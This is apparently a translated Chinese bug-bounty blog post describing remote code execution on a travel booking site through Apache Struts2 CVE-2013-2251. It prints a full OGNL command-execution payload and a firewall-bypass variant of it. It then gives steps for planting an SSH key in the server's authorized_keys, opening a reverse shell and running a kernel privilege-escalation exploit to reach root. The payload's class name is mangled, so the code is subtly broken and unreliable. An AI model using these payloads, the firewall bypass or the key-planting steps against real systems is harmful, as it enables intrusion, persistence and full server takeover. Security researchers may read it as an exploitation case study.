BugBounty—我如何能够绕过防火墙进行RCE并获取root用户权限

  前言

  嗨,大家好,

  此篇文章是关于Apache struts2 CVE-2013-2251的病毒式传播并由于其能导致执行远程命令而被高度利用的漏洞。

  简而言之,通过操纵以"action:"/"redirect:"/"redirectAction:"为前缀的参数引入的漏洞,可以使用小于Struts 2.3.15作为框架,在Java Web应用程序中执行远程命令。

  现在,当这个漏洞发生传播时,主流应用防火墙公司开始更新他们的规则引擎和检测技术,以防止它的进一步感染,这是一个非常明显和负责任的事情。

  但是我不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核CVE以root用户身份获取服务器的shell

  完整的攻击流程

  这是当我测试旅行预订网站时发现的。

  为了查明应用程序是否正在运行在易受攻击的Apache Struts框架上,您必须简单地检查以下易受攻击的参数 – “action, redirect,redirectAction”

  我google了一下(并且我受困于一个叫做OGNL的表达式)

  下面是用于运行命令ifconfig的有效payload

  redirect:${#a=(new java.langcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

  

  但正如预期的那样,它被应用程序防火墙阻止,并将我重定向到一个bot机器页面

  

  当这样的事情发生在我身上时,我总是回到最开始的思考。

  正如前面指出的那样,我知道哪些参数易受攻击,其中之一是我在上述请求中使用的“重定向”。

  “重定向”,是的,只要你觉得它是正确的,就让我们尝试在这里尝试

  我只是把重定向:goal

  

  正如你所看到的,我得到了302重定向并到达了goal

  所以我之前的ifconfig有效payload被阻塞了,这个重定向工作,给了我一个绕过防火墙的想法,所以,我将上述有效payload改造成:

  redirect:goal/${#a=(new java.langcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

  并发起请求

  欢呼吧!因为我能够绕过防火墙并获得运行的ifconfig命令的输出

  

  下一个目标是获得服务器的远程shell,我使用反向SSH隧道和公钥认证来尝试它,因为它允许SSH用户在不输入密码的情况下登录。

  为此,我必须将攻击者服务器的ssh公钥放入受害服务器的授权列表~/.ssh/authorized_keys中,以证明身份,并且这将成为反向ssh隧道

  因此我必须添加id_rsa受害ssh服务器的密钥。

  解释一下上述2个关键词的概念和公钥认证的概念

  id_rsa是您添加到其他主机authorized_keys文件中以允许您以该用户身份登录的公共密钥。authorized_keys是允许登录到特定服务器上的特定帐户的公用密钥列表。

  第一步 – 使用RCE查找受害服务器的id_rsa文件

  第二步 – 将authorized_keys从受害者服务器复制到攻击者服务器

  第3步 – 将修改后的authorized_keys从攻击者服务器复制回来,通过读取id_rsa获得受害者

  

  现在最后一步 – 在攻击者机器上使用SSH反向隧道,所以我运行了命令行管理程序

  

  Pheww!能够获取服务器的远程shell:)

  但我没有作为root登录,这意味着我可以只有有限的权利去访问文件。

  现在为了以root用户身份登录,我先去查看当前在受害机器上运行的内核是什么版本

  

  因此,发现内核版本是2.6.32,我google去查找是否有任何开放CVE和这个相匹配,我的运气不错。发现它很容易受到提权

  没有浪费太多时间,我运行了exp。

  

  最后我能够获得特权升级给root用户!:)

  这就是如何通过利用apache strut2漏洞和内核版本漏洞来获得作为root用户的服务器的远程shell。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值